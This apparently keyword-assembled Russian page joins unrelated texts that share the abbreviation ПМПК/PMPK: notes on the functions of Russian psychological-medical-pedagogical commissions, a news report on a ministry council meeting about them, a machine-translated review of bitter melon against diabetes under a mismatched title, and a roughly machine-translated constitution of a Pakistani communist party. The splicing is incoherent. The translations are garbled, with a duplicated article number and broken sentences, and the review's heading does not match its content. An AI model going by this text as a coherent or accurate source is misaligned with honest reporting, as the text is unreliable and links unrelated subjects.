  • координации действий педагогов и специалистов в рамках воспитательно-образовательного процесса, с целью выработки общей стратегии помощи ребенку с проблемами в развитии.

Функции ПМПК

ПМПК выполняет следующие функции:

  1. Нормативная функция – осуществление деятельности на основании действующего законодательства РФ.
  2. Прогностическая функция – осуществление систематического анализа и оценки деятельности ПМПК в рамках конкретного образовательного учреждения, используемых им методик, средств и приемов на их соответствие и целесообразность применения.
  3. Организационная функция – направлена на создание ПМПК на базе каждого образовательного учреждения, вне зависимости от его вида и типа. Обязательным условием является наличие необходимых специалистов.
  4. Экспертно-диагностическая функция – работа с детьми, имеющими проблемы в развитии, осуществляется только с согласия родителей (опекунов) ребенка, и при желании в их присутствие.
  5. Функция сопровождения – на основании проведенной диагностики устанавливаются проблемы в развитии, причины их возникновения и намечаются пути коррекционной работы с ребенком. Коррекционная работа осуществляется по индивидуально разработанной программе.
  6. Реабилитирующая функция – направлена на защиту интересов ребенка, имеющего отклонения в развитии и его семьи.

Данная функция реализуется в двух направлениях:

  • Семейном — в процессе которого, педагог стремится повысить в глазах родителей статус ребенка, как члена семьи;
  • Школьном — в процессе которого, ПМПК способствует разрушению отрицательного стереотипа ребенка, сложившегося у педагогов, а также повышению его статуса в коллективе класса.

В России стандартизируют деятельность психолого-медико-педагогических комиссий

27 июля в Министерстве образования и науки Российской Федерации (после завершения реорганизации – Минпросвещения России) под председательством Министра просвещения Российской Федерации О.Ю. Васильевой состоялось заседание Совета Минобрнауки России по вопросам образования лиц с ограниченными возможностями здоровья (ОВЗ) и инвалидов.

Открывая заседание, Министр обозначила основные темы для обсуждения.

— Нам необходимо подвести итоги  экзаменационной кампании этого года, понять, были ли проблемы с организацией сдачи государственной итоговой аттестации для наших детей с особыми образовательными потребностями, как они решались, какие меры необходимо предпринять на федеральном уровне, — сказала Ольга Юрьевна.

Она отметила, что особое внимание необходимо уделить качественному улучшению деятельности психолого-медико-педагогических комиссий (ПМПК).

— Пора перейти к унификации деятельности наших ПМПК, они должны работать по единым образцам и стандартам, – подчеркнула Ольга Юрьевна.

С докладом о нормативной правовой базе организации и сдачи государственной итоговой аттестации обучающимися с особыми образовательными потребностями на заседании выступил директор Департамента государственной политики в сфере защиты прав детей Минобрнауки России Е.А. Сильянов.

— За 5 лет действия нового закона об образовании, подзаконных актов, правоприменительная практика показала, что назрела необходимость вносить корректировки в действующие нормативные акты, в первую очередь, в порядок деятельности психолого-медико-педагогических комиссий. Хочу отметить, что универсальной формы заключения ПМПК сегодня не существует. В утверждённом приказом Минобрнауки перечне направлений деятельности ПМПК нет направления деятельности о подготовке по результатам обследования лиц с инвалидностью и ОВЗ с рекомендацией по созданию специальных условий проведения именно государственной итоговой аттестации. Мы понимаем, что необходимо отразить это направление деятельности ПМПК в положении, причём, сделать это как отдельное направление деятельности. Самое главное, мы считаем, что необходимо унифицировать форму по прохождению ГИА, которую выдаёт ПМПК, – сказал Е.А. Сильянов.

Министр просвещения О.Ю. Васильева резюмировала, что ПМПК не должны превратиться в бюрократический инструмент.

— При определении деятельности ПМПК важно не «скатиться» в набор требований, важно учитывать особенности каждого человека, который обращается в эту комиссию. Когда ребёнок приходит в ПМПК, определяется его судьба — куда и как дальше. Но возникает вопрос: «А судьи кто?». И какая у них профессиональная квалификация? Я думаю, мы должны позаботиться о самом главном: в ПМПК должны работать действительно очень профессиональные люди, потому что там определяется судьба ребёнка. Эта тема очень высоконравственная и высокопрофессиональная, и одно без другого быть не может, — резюмировала Ольга Юрьевна.

На заседании также выступила заместитель руководителя Федеральной службы по надзору в сфере образования и науки Н.А. Наумова.

— Мы сделали важный шаг, когда стали детализировать и делать максимально комфортной процедуру проведения итоговой аттестации не просто для детей с ОВЗ, но и учитывать особенности каждой из нозологий. При повышении квалификации педагогов в текущем году мы особое внимание уделили модулю по работе с детьми с ограничениями здоровья. Для этих ребят мы создали открытый банк для подготовки к итоговой аттестации, а также открыли телефон «горячей линии» не только в период проведения итоговой аттестации, но и сейчас, когда ребята уже подают документы в вузы и организации СПО, если что-то непонятно, мы обязательно даём им разъяснения, — сообщила Н.А. Наумова.

Она информировала, что сегодня уже 79% выпускников школ с ОВЗ сдают экзамены в форме ЕГЭ.

— Более того, ребята не просто сдают экзамен, они сдают его успешно, они мотивированы на высокий результат. Ежегодно растёт число ребят, показавших высокие баллы – это более 80 процентов, и уменьшается количество детей, которые не справились с пороговыми значениями, чтобы успешно сдать экзамен. Мы видим также, что растёт количество инвалидов, которые поступают на бюджетные места, – отметила Н.А. Наумова.

Также на заседании обсудили вопрос организации обучении детей с дислексией. Работу по этому направлению осуществляет созданная при Совете рабочая группа по вопросам организации образования обучающихся с нарушениями речи, которая готовит предложения по совершенствованию нормативной базы и повышению доступности логопедической помощи детям, в частности ведётся разработка примерного положения о деятельности логопункта общеобразовательной организации.

Заседание Совета транслировалось в прямом эфире на сайте ведомства, в онлайн-режиме участие в нём смогли принять специалисты органов управления образованием, курирующие вопросы образования лиц с ОВЗ, представители образовательных организаций, центров психолого-педагогической, медицинской и социальной помощи, психолого-медико-педагогических комиссий, родители детей с ОВЗ и инвалидов.

Справочно

Предыдущее заседание Совета Минобрнауки России по вопросам образования лиц с ограниченными возможностями здоровья и инвалидов состоялось в феврале текущего года и было посвящено ресурсным учебно-методическим центрам по обучению инвалидов и лиц с ОВЗ на базе вузов, а также развитию сети федеральных ресурсных центров по организации комплексного сопровождения детей различных нозологий.

Влияние MC на активность PMPK в скелетных мышцах мышей

В последние годы было опубликовано множество исследований Momordica charantia (MC) при лечении сахарного диабета (DM) и его осложнений. В этой статье был рассмотрен эффект и механизм MC против диабета, включая результаты экспериментов и клинических испытаний in vitro и in vivo. Также были обобщены общие побочные эффекты MC. Мы надеемся, что это может открыть новые идеи для дальнейшего изучения механизмов и клинического применения, а также предоставить научную теоретическую основу для разработки лекарств или пищевых продуктов, полученных из МК.1. Введение Диабет — это метаболическое заболевание с типичными проявлениями гипергликемии, такими как полидипсия, полифагия, полиурия, нарушение зрения и массы тела [1]. С увеличением потребления высококалорийной пищи и малоподвижного образа жизни количество больных сахарным диабетом резко увеличилось. Согласно статистике Всемирной организации здравоохранения в 2016 году, 422 миллиона человек страдали диабетом в 2014 году, а заболеваемость значительно выросла с 1980 года [2]. Это больше не особенно часто встречается в богатых регионах, поскольку распространенность в относительно отсталых регионах растет еще быстрее [2].Диабет обычно делится на четыре категории: диабет 1 типа (СД1) (аутоиммунное разрушение β-клеток, обычно сопровождающееся абсолютным дефицитом инсулина), диабет 2 типа (СД2) (постепенное снижение секреции инсулина β-клетками), гестационный диабет и специфические типы диабета [3]. Это хроническое заболевание, которое может постепенно поражать сердце, кровеносные сосуды [4], поверхность глаза [5], нервы [6] и опорно-двигательный аппарат [7] и стало основной причиной почечной недостаточности [8] и слепоты [ 9].Инъекции инсулина и пероральные гипогликемические средства всегда используются для снижения уровня глюкозы в крови. Кроме того, настоятельно рекомендуется вести образ жизни. Однако из-за плохой приверженности к лечению [10] и ограниченного доступа больших групп населения к обычным противодиабетическим препаратам, а также из-за неизбежных побочных эффектов и устойчивости западной медицины [11] пациенты всегда пытались найти какие-нибудь эффективные натуральные растения для лечения заболеваний. Например, индийская аюрведическая медицина, африканская традиционная медицина, японская медицина Кампо и китайские травы [12].2. Обзор Momordica charantia L Momordica charantia L., также известная как горькая тыква, горькая дыня или карела, является однолетним вьющимся растением семейства Cucurbitaceae. Он родом из Восточной Индии и в настоящее время широко выращивается и едят в тропических, субтропических и умеренных регионах. Овощ светло-зеленого цвета с длинной шишкой; он горький на вкус, но пользуется популярностью благодаря своим полезным свойствам [13]. В этом растении много питательных веществ [14, 15]. По мере углубления исследований MC были обнаружены многочисленные фитохимические вещества, включая сапонины, полисахариды, тритерпены, белки, витамины, минералы, флавоноиды, аскорбиновую кислоту и стероиды [16].Кроме того, были подтверждены многочисленные биологические характеристики, такие как антиоксидантные, гипогликемические, противоопухолевые, антибактериальные [17], средства ухода за кожей [18], глистогонные, нейропротекторные, противовоспалительные, противовирусные, иммуномодулирующие, способствующие заживлению ран, антимутагенные, противоязвенные, печеночные. защита и мероприятия против ожирения [16, 19–21]. Обычно он представляет собой четыре лекарственные формы: фруктовый сок, лиофилизированный порошок, целые фрукты или капсулы, а препараты в основном представляют собой неочищенные экстракты (обычно экстрагируемые водой, этанолом или метанолом) и эффективные мономерные компоненты, извлеченные из его плодов, семян. , или уходит [22].Как многофункциональный овощ, MC играет жизненно важную роль в традиционной медицине в Китае, Индии [13], Маврикии [23], Турции [24] и других регионах Азии и Африки [25]. В настоящее время исследования различных потенциалов МК идут полным ходом, и антидиабетический эффект вызывает особую озабоченность. В этом обзоре обобщены отчеты о лечении сахарного диабета МК. 3. Противодиабетическая эффективность и механизм действия Momordica charantia. 3.1. Повышение усвоения, потребления и использования глюкозы 3.1.1. Клеточные эксперименты Цитологические исследования сосредоточены на изучении влияния MC на инсулиновые сигнальные пути клеток-мишеней инсулина, таких как гепатоциты, клетки скелетных мышц и адипоциты. Механизмы МК сосредоточены на улучшении инсулинорезистентности за счет увеличения поглощения, потребления и использования глюкозы. Новый белок, связывающий рецептор инсулина, из Momordica charantia (mcIRBP) был выделен из MC. Дальнейшее исследование идентифицировало mcIRBP-9 и подтвердило желудочную резистентность и гипогликемическую активность пептидов [26].Белок физически взаимодействует с рецептором инсулина (IR) через сайты связывания, отличные от сайтов связывания инсулина, и проявляет синергетический эффект с инсулином, увеличивая киназную активность IR в 5,87 ± 0,45 раза и увеличивая количество фосфо-IR белка. в 1,31 ± 0,03 раза. В целом mcIRBP стимулировал потребление глюкозы клетками в 1,36 ± 0,12 раза, воздействуя на пути IR / фосфоинозитид-3-киназы (PI3K) / протеинкиназы B (Akt) и, следовательно, способствуя транслокации транспортера глюкозы 4 (GLUT4) [27]. .Исследование гликозидов кукурбитанового типа, выделенных из MC, показывает, что соединения могут увеличивать поглощение глюкозы миобластами C2C12 [17], и они оказывают антидиабетический эффект, действуя как более сильная аденозин-5′-монофосфат-активируемая протеинкиназа (AMPK). активатор, чем троглитазон [28]. Однако одно исследование демонстрирует, что тритерпеноиды кукурбитанового типа могут стимулировать утилизацию глюкозы в мышечных трубках C2C12 через сигнальный путь субстрата-1 рецептора инсулина (IRS-1) в скелетных мышцах вместо жировой ткани и ткани печени [29].Кроме того, сок MC может стимулировать элиминацию глюкозы в мышечных трубках L6 [30], а белковый экстракт MC оказывает аналогичное действие на миоциты C2C12 и адипоциты 3T3-L1 [31]. Интересно отметить, что стандартизованный фруктовый этанольный экстракт MC улучшал поглощение глюкозы гемидиафрагмой in vitro [32], а дальнейшее исследование показало, что сок MC может делать это в присутствии и в отсутствие инсулина [33]. Более того, сообщалось, что метанольный экстракт горькой тыквы может способствовать усвоению глюкозы инсулинорезистентными клетками FL83B [28].Таким образом, мы предполагаем, что MC может иметь гипогликемический эффект инсулинозависимым образом и проявлять эффект усиления инсулинового сигнального пути. Кроме того, в литературе было зарегистрировано, что три инсулиноподобных активных соединения из горькой тыквы могут блокировать активный центр киназы гликогенсинтазы 3 (GSK-3), комбинируясь с ним, тем самым снижая инактивацию гликогенсинтазы (GS) и дальнейшее восстановление содержания гликогена [34] (рис. 1).

Устав партии — ПМПК

Народная партия Маздур Киссан
Конституция


СТАТЬЯ 2

Имя

Название партии — «Партия народов Маздур Киссан».


СТАТЬЯ 2

AIM

Партия Народов Маздур Киссан — революционный авангард трудящихся Пакистана. Партия будет искренне верой и верен принципам социализма, секуляризма и народной демократии. Его конечная цель — социализм и коммунизм через установление господства рабочего класса. Во всей своей деятельности партия руководствуется философией и принципами исторического диалектического материализма, который показывает трудящимся массам правильный путь к прекращению эксплуатации человека человеком.


СТАТЬЯ 3

Флаг

Флаг Стороны представляет собой красный флаг, длина которого должна быть в полтора раза больше его ширины. В центре флага должна быть белая звезда.


СТАТЬЯ 4

Членство

1. Любое лицо, проживающее в Пакистане, в возрасте восемнадцати лет и старше, которое принимает Программу и Устав партии, соглашается работать в одной из партийных организаций, платит членские взносы и сборы и выполняет решения партии. имеют право на членство в партии.

2. (a) Новые члены принимаются в партию по индивидуальному заявлению по рекомендации двух членов партии. Члены партии, рекомендующие кандидата, должны предоставить партийному отделению полную информацию о кандидате с должным чувством ответственности. Отделение партии должно дать рекомендации следующему комитету более высокого уровня, который подтвердит членство.


(b) Все партийные комитеты выше отделения партии и выше уровня Центрального комитета имеют право напрямую принимать новых членов в

.

Партия.3. Если ведущий член другой политической партии приходит в партию, необходимо получить разрешение следующего более высокого комитета партии до вступления в партию. В исключительных случаях Центральный комитет или провинциальный комитет может принять таких членов в полноправные члены партии. И всякий раз, когда провинциальный комитет принимает таких членов, он должен получить предварительное разрешение от Центрального

.

Комитет 4. Члены, однажды исключенные из партии, могут быть повторно приняты только решением партийного комитета, подтвердившего их исключение, или вышестоящей комиссией.

5. Отделение партии организует ознакомление с Программой, Уставом и политикой партии и оказывает помощь в идеологическом развитии новых членов.

6. Член партии может передать свое членство из одного подразделения в другое с одобрения своего подразделения и путем отправки заявления через свое подразделение в вышестоящее подразделение, под юрисдикцией которого функционирует соответствующее подразделение.


СТАТЬЯ 5

Залог партии

Каждое лицо, вступающее в партию, подписывает партийное обязательство.Это обязательство должно быть следующим: «Я принимаю цели и задачи Партии и соглашаюсь соблюдать ее Устав и лояльно выполнять решения Партии. Я буду стремиться жить согласно идеалам коммунизма и буду бескорыстно служить рабочему классу, трудящимся массам и стране, всегда ставя интересы партии и народа выше личных интересов ».


СТАТЬЯ 6

Записи о членстве в партии Все записи о членстве должны храниться под надзором районного комитета.


СТАТЬЯ 7

Проверка партийного членства

1. Партийная организация, к которой принадлежит член партии, должна ежегодно проверяться партийностью. Любой член партии, который в течение продолжительного периода времени и без уважительной причины не принимал участие в жизни и деятельности партии или не вносил партийные взносы, должен быть исключен из партии

членство 2. Отчет о проверке членства в партии заинтересованным отделением или партийным комитетом направляется в следующий вышестоящий комитет для подтверждения и регистрации.

3. Решение об исключении из партии имеет право обжаловать.


СТАТЬЯ 8

Выход из партии

1. Член партии, желающий выйти из партии, должен подать заявление об уходе в партийное отделение или партийное подразделение, к которому он или она принадлежит. Соответствующее подразделение может принять то же самое, решить вычеркнуть свое имя из списков и сообщить об этом следующему вышестоящему комитету.

2. В случае, если член партии, желающий выйти из партии, подлежит обвинению в серьезном нарушении партийной дисциплины, которое может служить основанием для его исключения, и если такое обвинение является существенным, отставка может быть оформлена как исключение. от партии.

3. Обо всех таких случаях отставки, которая вступила в силу, например, о высылке, немедленно сообщается в Центральный Комитет и подлежит утверждению последним.


СТАТЬЯ 9

Членский взнос

1. Все члены партии, а также кандидаты должны платить членский взнос в размере двести рупий в год. Этот ежегодный партийный взнос уплачивается во время приема в партию и к концу марта каждого года секретарю отделения или подразделения заинтересованным членом. Если он или она не уплатит взнос вовремя, его имя должно быть удалено из партийных списков.Центральный комитет может продлить этот срок, если обстоятельства требуют такого продления. Все партийные сборы, взимаемые с членов партии отделениями или отделениями партии, будут депонироваться в Центральный Комитет через соответствующие партийные комитеты.


СТАТЬЯ 10

Партийный сбор

Каждый член партии должен платить ежемесячный сбор, установленный Центральным Комитетом. Те, чьи доходы имеют годовой или сезонный характер, должны уплачивать сбор в начале сезона или в начале каждого квартала на одинаковой процентной основе.Если член не внес свой взнос в течение трех месяцев после его уплаты, его имя должно быть удалено из партийных списков.


СТАТЬЯ 11

Обязанности членов партии

1. В обязанности членов партии входят: (а) регулярно участвовать в деятельности партийной организации, к которой они принадлежат, и добросовестно выполнять политику, решения и директивы партии;

(б) Изучать марксизм-ленинизм и стремиться повысить свой уровень понимания;

в) читать, поддерживать и популяризировать партийные журналы и партийные издания;

(d) соблюдать Устав партии и партийную дисциплину и вести себя в духе классовой солидарности и в соответствии с благородными идеалами коммунизма;

e) ставить интересы народа и партии выше личных интересов;

(е) Преданно служить массам и последовательно укреплять их связи с ними, учиться у масс и сообщать партии о своих мнениях и требованиях, работать в массовой организации, если не освобождены от нее, под руководством партии.

g) развивать товарищеские отношения друг с другом, постоянно развивать братский дух внутри партии;

(h) Критика и самокритика с целью помочь друг другу и улучшить индивидуальную и коллективную работу;

(i) быть откровенным, честным и правдивым по отношению к партии и не предавать ее доверие;

(j) защищать единство и солидарность партии и проявлять бдительность против врагов рабочего класса и страны;

(k) Защищать партию и отстаивать ее дело против натиска врагов партии, рабочего класса и страны.

2. Задачей партийной организации является обеспечение выполнения членами партии вышеуказанных обязанностей и всяческая помощь им в выполнении этих обязанностей.


СТАТЬЯ 12

Права членов партии

1. Члены партии имеют следующие права: а) избирать партийные органы и партийные комитеты и быть избранными в них;

(б) участвовать в обсуждениях с целью внесения вклада в формирование политики партии и решений партии;

c) вносить предложения по работе в партии; (

г) критиковать партийные комитеты и партийных функционеров на партийных собраниях;

(e) Быть заслушанным лично в своем подразделении, когда партийное подразделение обсуждает дисциплинарные меры против него или нее;

(f) Если какой-либо член партии не согласен с каким-либо решением организации партийного комитета, он или она имеет право представить свое мнение следующему вышестоящему комитету.В случае политических разногласий член имеет право представить свое мнение вышестоящему комитету до Центрального комитета. Во всех таких случаях член партии должен, конечно, выполнять решения партии, и разногласия должны быть разрешены путем проверки практики и товарищеских дискуссий;

(g) Направлять любое заявление, апелляцию или жалобу в любую вышестоящую партийную организацию, вплоть до Центрального Комитета.

2.Партийные организации и партийные должностные лица обязаны следить за соблюдением этих прав.


СТАТЬЯ 13

Принципы демократического централизма

1. Структура партии основана на принципах демократического централизма, а ее внутренняя жизнь руководствуется ими. Демократический централизм означает централизованное руководство, основанное на внутрипартийной демократии. В сфере партийного устройства руководящими принципами демократического централизма являются:

.

(а) Все партийные органы сверху вниз избираются;

(b) меньшинство должно выполнять решения большинства; низшие партийные организации выполняют решения и директивы вышестоящих партийных органов, индивид подчиняется воле коллектива.Все партийные организации должны выполнять решения и директивы съезда партии и Центрального Комитета;

(c) Все партийные комитеты должны периодически отчитываться о своей работе непосредственно нижестоящей партийной организации, и все нижестоящие комитеты также отчитываются перед своим непосредственным вышестоящим комитетом;

г) все партийные комитеты, особенно руководящие партийные комитеты, должны постоянно прислушиваться к мнению и критике со стороны низших партийных организаций и рядовых членов партии;

(д) Все партийные комитеты действуют строго на принципах коллективных решений в сочетании с индивидуальной ответственностью;

(f) Все вопросы международных отношений, вопросы общепакистанского характера или вопросы, касающиеся более чем одной провинции, или вопросы, требующие единообразных решений для всей страны, решаются Центральным комитетом и Конгрессом.Все вопросы провинциального или районного характера обычно решаются соответствующими партийными организациями. Но ни в коем случае такие решения не должны противоречить решениям вышестоящей партийной организации. Когда партийное руководство должно принять решение по любому вопросу, имеющему важное провинциальное значение, оно обычно делает это после консультации с соответствующей провинциальной партийной организацией. Провинциальный комитет поступает так же в отношении округов;

(g) По вопросам, которые влияют на политику партии в масштабах всего Пакистана, но по которым позиция партии должна быть выражена впервые, только центральное руководство партии имеет право сделать политическое заявление. .Комитеты низшего уровня могут и должны своевременно присылать свои мнения и предложения на рассмотрение центральному руководству.

2. Основываясь на опыте всей партийности и народного движения, в сфере внутренней жизни партии применяются следующие принципы демократического централизма:

а) свободное и откровенное обсуждение внутри партийных частей / отделений всех вопросов, касающихся партии, ее политики и работы;

(b) Постоянные усилия по активизации членов партии в популяризации и реализации политики партии, повышении их идейно-политического уровня и улучшении общего образования, с тем чтобы они могли эффективно участвовать в жизни и работе партии;

(c) При возникновении серьезных разногласий в партийных комитетах необходимо приложить все усилия, чтобы прийти к соглашению.В противном случае решение должно быть отложено с целью разрешения разногласий путем дальнейших обсуждений, если немедленное решение не требуется в соответствии с потребностями партии и массового движения;

(d) Поощрение критики и самокритики на всех уровнях, сверху вниз, особенно критики снизу;

(e) последовательная борьба с бюрократическими тенденциями на всех уровнях;

(е) недопустимость фракционности и фракционных группировок внутри партии в любой форме;

(ж) Укрепление партийного духа путем развития братских отношений и взаимопомощи, исправление ошибок путем сочувствия к товарищам; судить их и их работу не на основании отдельных ошибок или инцидентов, а с учетом всего их послужного списка партии.


СТАТЬЯ 14

Всепакистанский съезд партии

1. Высшим органом партии для всей страны является Всепакистанский съезд партии.

(a) Центральный Комитет созывает съезд партии один раз в год.

(b) Внеочередной съезд партии может быть созван Центральным комитетом по его собственному усмотрению или по требованию двух или более провинциальных комитетов, представляющих не менее одной трети от общего числа членов партии.

(c) Центральный Комитет на заседании, специально созванном для этой цели, решает дату и место проведения съезда партии или внеочередного съезда партии.

(d) Очередной партийный съезд состоит из делегатов, избираемых провинциальными конференциями, а также конференциями партийных единиц, непосредственно подчиняющихся общепакистанскому партийному центру.

(e) Основа представительства на очередном партийном съезде, а также основа представительства и метод избрания делегатов на внеочередной партийный съезд определяются Центральным комитетом на основе общего членства в партии и численности массовых движений. во главе с партией, сила партии в соответствующих государствах.

(f) Члены Центрального Комитета имеют право участвовать в качестве полноправных делегатов в партийном съезде, будь то очередном или внеочередном.

2. Функции и полномочия очередного съезда партии:

(а) Обсудить политический и организационный отчет Центрального Комитета и действовать в соответствии с ним;

(б) Пересмотреть и изменить Программу партии и Устав партии.

(c) Определить линию партии на текущую ситуацию;

(d) Избрать Центральный Комитет тайным голосованием

.3. Он избирает мандатную комиссию, которая проверяет полномочия всех делегатов и представляет отчет Конгрессу.

4. Конгресс избирает Президиум для ведения своей работы.


СТАТЬЯ 15

ЦК1.Выборы ЦК


(а) Центральный Комитет избирается на партийном съезде, количество голосов определяется съездом партии.

(b) уходящий в отставку Центральный комитет должен предложить Конгрессу группу кандидатов

. (C) Группа кандидатов должна быть подготовлена ​​с целью создания способного руководства, тесно связанного с массами, твердого в революционных взглядах рабочего класса и просвещенного в марксизме-ленинизме.

(d) Любой делегат может подать возражение в отношении любого имени в предложенной комиссии, а также предложить любое новое имя или имена, но необходимо предварительное одобрение члена, чье имя предлагается.

(e) Любой, чье имя было предложено, имеет право отказаться от участия.

(f) Состав комиссии, предложенный вместе с дополнительными кандидатурами делегатов, должен быть поставлен на голосование тайным голосованием и методом единого распределения голосов.В случае отсутствия дополнительных номинаций делегаты утверждают поднятием рук.

2. Центральный Комитет является высшим органом партии в период между двумя общепакистанскими съездами партии.

3. Он отвечает за обеспечение соблюдения Устава партии и выполнение политической линии и решений, принятых Съездом партии.

4. Центральный Комитет представляет партию в целом и несет ответственность за руководство всей работой партии.Центральный Комитет имеет право принимать решения по любому вопросу, стоящему перед партией.

5. Центральный Комитет избирает из числа своих членов Секретариат. Центральный комитет определяет количество членов Секретариата. Секретариат под руководством ЦК будет следить за повседневной работой партии.

6. Выборы секретарей провинциальных комитетов и редакторов государственных партийных органов должны быть одобрены Центральным комитетом

7.Изменение состава ЦК в особых случаях


(a) Центральный комитет снимает с себя любого члена за грубое нарушение дисциплины, проступки или антипартийную деятельность двумя третями присутствующих и участвующих в голосовании членов, и в любом случае более чем половиной общей численности ЦК голосует за такое удаление

. (B) Он может заполнить любую вакансию, возникающую в его составе, простым большинством от общего числа его членов.

(c) В случае ареста члена или членов Центрального комитета оставшиеся члены могут кооптировать замещающего члена или членов, и они будут иметь полное право в качестве первоначальных членов, но должны освободить свои места, когда арестованные члены будут освобождены и примут участие свои обязанности.

8. Промежуток времени между двумя заседаниями Центрального комитета, как правило, не должен превышать трех месяцев, и он собирается, когда одна треть его общего числа подает заявку.

.9. Центральный Комитет обсуждает и решает политические и организационные вопросы и проблемы массовых движений и направляет провинциальные комитеты и общепакистанские партийные фракции в массовых организациях

.10. Центральный Комитет отвечает за финансы партии и принимает отчет о счетах, представляемый ему Секретариатом один раз в год

.11. Центральный Комитет представляет свой политический и организационный отчет перед партийным съездом, когда он созывается.

12. В целях усиления революционного руководства партией и обеспечения проверки провинциальных и районных организаций Центральный Комитет направляет представителей и организаторов, которые должны работать на основании специальных инструкций, каждый раз устанавливаемых ЦК.

13. Центральный Комитет может, когда сочтет необходимым, созвать расширенное заседание Центрального Комитета, Секретариата или Конференции.Центральный комитет определяет порядок явки и порядок избрания делегатов в такие органы.

14. В случае возникновения чрезвычайной ситуации или крупномасштабных арестов Центральный комитет, а также областные и районные комитеты реорганизовываются в более мелкие компактные органы. Имена для такой реорганизации Центрального Комитета готовятся остальными членами Центрального Комитета и должны быть одобрены членами Центрального Комитета внутри и вне.Имена для реорганизации провинциальных и окружных комитетов подготавливаются оставшимися членами соответствующих комитетов и утверждаются их следующим вышестоящим комитетом. По своему усмотрению они могут формировать подкомитеты для выполнения своих функций и обязанностей. Восстановленный Центральный Комитет уполномочен устанавливать новые правила защиты партийной организации. Но когда ситуация нормализуется, выборные комитеты восстанавливаются

.СТАТЬЯ 16

Областные и районные партийные органы

1. Высшим органом округа является окружная конференция, избирающая окружной комитет.

.2. Организационная структура, права и функции окружного комитета
(a) Организационная структура, права и функции окружного комитета аналогичны перечисленным в статьях, касающихся партийной структуры и функций на общепакистанском уровне, их функции ограничиваются районными вопросами, а их решения — в пределах решений, принимаемых следующим вышестоящим партийным органом.В случае необходимости увеличить количество членов этих партийных комитетов, они могут сделать это с разрешения следующего вышестоящего комитета.

(b) Окружной комитет избирает секретаря.


СТАТЬЯ 17

Первичный блок

1. Первичная единица
(a) Первичной единицей партии является партийное отделение, организованное на основе профессии или территории;

(b) Члены партии должны быть организованы по роду занятий или призванию, когда они работают на заводе, в институте или в любой отрасли.При организации таких отделений члены таких отделений должны быть ассоциированными членами отделений партии по месту своего жительства или организованы там как вспомогательные отделения. Работа, предоставляемая по месту жительства, не должна наносить ущерб работе, отведенной им их основными подразделениями на заводе, в институте или по профессии;

(c) Количество членов Отделения не может быть более пятнадцати. Провинциальный и районный комитет будет определять функции и другие вопросы, относящиеся к Филиалу.

2. Отделение является живым связующим звеном между массами рабочих, крестьян и других слоев населения в его районе или сфере и руководящим комитетом партии. Его задачи:


(а) Выполнять указания вышестоящего комитета;

(б) завоевывать массы на заводе или в местности за политические и организационные решения партии;

(c) вовлекать боевиков и сочувствующих в деятельность, чтобы привлечь их в качестве новых членов и просвещать их в политическом плане;

(г) Помогать районному, местному или городскому комитету в его повседневной организационной и агитационной работе.

3. Для выполнения текущей работы Филиал избирает своего Секретаря, который утверждается следующим вышестоящим комитетом.


СТАТЬЯ 18

Партийная дисциплина

1. Дисциплина необходима для сохранения и укрепления единства партии, для увеличения ее силы, ее боеспособности и престижа, а также для обеспечения соблюдения принципов демократического централизма. Без строгого соблюдения партийной дисциплины партия не может руководить массами в борьбе и действиях или выполнять свою ответственность перед ними.

2. Дисциплина основана на сознательном принятии целей, Программы и политики партии. Все члены партии в равной степени связаны партийной дисциплиной независимо от их статуса в партийной организации или в общественной жизни.

3. Нарушение Устава партии и решений партии является нарушением партийной дисциплины и влечет дисциплинарное взыскание.

4. Дисциплинарные меры:

(а) Предупреждение;

(b) порицание;

c) общественное порицание;

(г) Снятие с должности в Партии;

(e) отстранение от полноправного членства в партии на любой период, но не более одного года;

(f) Высылка.

5. Дисциплинарные меры обычно применяются, если другие методы, в том числе методы убеждения, не помогли исправить соответствующего товарища. Но даже там, где были приняты дисциплинарные меры, попытки помочь товарищу поправить себя будут продолжаться. В случае, если нарушение дисциплины требует немедленного применения дисциплинарных мер для защиты интересов Стороны или ее престижа, дисциплинарные меры принимаются незамедлительно.

.6. Исключение из партии является самой суровой из всех дисциплинарных мер, и оно должно применяться с максимальной осторожностью, осмотрительностью и осмотрительностью.

7. Никакие дисциплинарные меры, связанные с отстранением от занимаемой должности в Партии, отстранением от полноправного членства в партии, кроме приостановления до завершения расследования, исключения из Партии, не вступают в силу без подтверждения комитетом следующего более высокого уровня. В случае исключения оштрафованный член партии должен быть отстранен от всей деятельности партии до подтверждения.Исключенный член остается отстраненным от партии до тех пор, пока следующий комитет не подтвердит его исключение. Комитет более высокого уровня должен будет сообщить о своем решении в течение трех месяцев.

8. Товарищ, в отношении которого предлагается дисциплинарная мера, должен быть полностью проинформирован о выдвинутых против него обвинениях, обвинениях и других соответствующих фактах. Он или она имеет право быть заслушанным лично партийным подразделением, к которому он или она принадлежит, и имеет право представить свои объяснения любому другому подразделению, которое принимает меры против него или нее.

9. Когда член одновременно является членом двух партийных подразделений, нижнее подразделение может рекомендовать дисциплинарные меры против него или нее, но они не вступают в силу, если их не одобрило его или ее вышестоящее подразделение.

10. Члены партии, признанные штрейкбрехерами, предателями доверия партии или виновными в серьезной финансовой коррупции и т. Д., Могут быть временно отстранены от членства в партии и отстранены от всех ответственных должностей в партии партийным подразделением, в которое они входят. член принадлежит или вышестоящему партийному органу в ожидании выдачи этому члену обвинительной ведомости и получения объяснений.

11. Право обжалования имеет место во всех случаях дисциплинарных взысканий.

12. Центральный, провинциальный или районный комитет имеет право распускать и назначать новые комитеты или принимать дисциплинарные меры в отношении нижестоящих комитетов в случаях, когда настойчивое игнорирование партийных решений и политики, серьезная фракционность или нарушение партийной дисциплины. вовлеченный. Но провинциальный и районный комитет немедленно сообщит о таких действиях следующему вышестоящему комитету для любых действий, которые он сочтет необходимыми.


СТАТЬЯ 19

Членов партии в выборных государственных органах

1. Члены партии, избранные в парламент, законодательный орган провинции или местный совет, образуют партийную группу и действуют в рамках соответствующего партийного комитета в строгом соответствии с линией партии, ее политикой и директивами

.2. Партийные законодатели неуклонно защищают интересы народа.Их работа в законодательных органах должна отражать движение, и они должны поддерживать и популяризировать политику партии. Законодательная работа законодателей партии должна быть тесно связана с деятельностью партии вне партии и массовых движений, и обязанностью всех законодателей партии является содействие созданию партии и массовых организаций.

3. Партийные законодатели должны поддерживать как можно более тесный контакт со своими избирателями и массами, должным образом информируя их о своей законодательной работе и постоянно обращаясь к ним за предложениями и советами.

4. Партийные законодатели должны поддерживать высокие стандарты личной честности, вести ненавязчивый образ жизни и проявлять смирение во всех своих отношениях и контактах с людьми и ставить партию выше себя.

